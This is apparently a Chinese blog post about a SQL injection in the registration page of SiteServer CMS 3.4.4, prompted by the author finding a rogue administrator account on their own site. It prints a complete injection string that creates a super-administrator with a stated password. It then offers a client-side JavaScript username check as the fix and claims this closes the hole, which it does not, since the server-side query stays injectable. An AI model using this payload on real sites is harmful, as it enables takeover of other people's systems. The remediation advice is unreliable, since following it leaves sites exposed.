SiteServer 3.4.4 逻辑漏洞导致SQL注入及修复方法

今天特别发现SiteServe CMS( 3.4.4 )网站根目录多了一个asp文件,我就意识网站可以被挂马了!马上排查,终于在后台发现多了一个blue用户名的超级管理员。我猜想可能是SiteServe CMS系统有漏洞,上网一查,果然把到一堆“SiteServer 3.4.4 逻辑漏洞导致SQL注入”的文章。

---------------------------------------------------------------------------------------------------------------------------------------
SiteServer 3.4.4 逻辑漏洞导致SQL注入具体如下: 

问题出在UserCenter.Pages.DLL中的Register,注册流程逻辑有问题,具体如下:

 

1.程序先把用户名带入数据库中查询,如果用户名没有重复,进入第二步;

 

2.再在远程检测用户名中是否含有非法字符,如果没有,则进入第三步;

 

3.将新注册的用户插入数据库。 

由于在进行第一步的时候,程序没有进行任何处理就带入数据库中查询,那么就可以xxoo了。Orz。。。。

 

用户名填入以下语句,其他地方正常填写。

123');insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

提交注册之后就往库里面插入了一个用户名为:blue 密码为:lanhai 的超级用户。
-------------------------------------------------------------------------------------------------------------------------------------
估计我后台的blue管理员就是这样来的。
我想主要是Js验证太简单了,改一下验证的Js文件就好了。

具体修复方法如下:

打开根目录下的UserCenter\js\signup_check2_data.js文件,把checkUserName函数改成:

checkUserName = function(value)
{
 var r1= new RegExp('[^A-Za-z0-9_-]',''); 

 $("username_msg").style.display = "none";
 $("usernamevalid_msg_succ").style.display = "none";
 $("usernamevalid_msg_error").style.display = "none";
 
 value = $('UserName').value;
 
 if ( !value || value.length == 0 )
 {
  $("username_msg").innerHTML = "用户名不能为空";
  $("username_msg").style.display = "";
  return false;
 }
 
 if ( value.length < 2 )
 {
  $("username_msg").innerHTML = '用户名长度不能小于2个字符';
  $("username_msg").style.display = "";
  return false;
 }
 else if( value.length > 18 )
 {
  $("username_msg").innerHTML = '用户名长度不大于18个字符';
  $("username_msg").style.display = "";
  return false;
 }
 else if( value.search(r1) >= 0)
 {
  $("username_msg").innerHTML = '用户名中含有非法字!';
  $("username_msg").style.display = "";
  return false;
 } 

 return true;
}

这样就可以限制用户名的长度,还有非法的字符!

就这样,这个漏洞就可以修复了。
当然果然你有更好的方法,可以拿出来分享一下!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值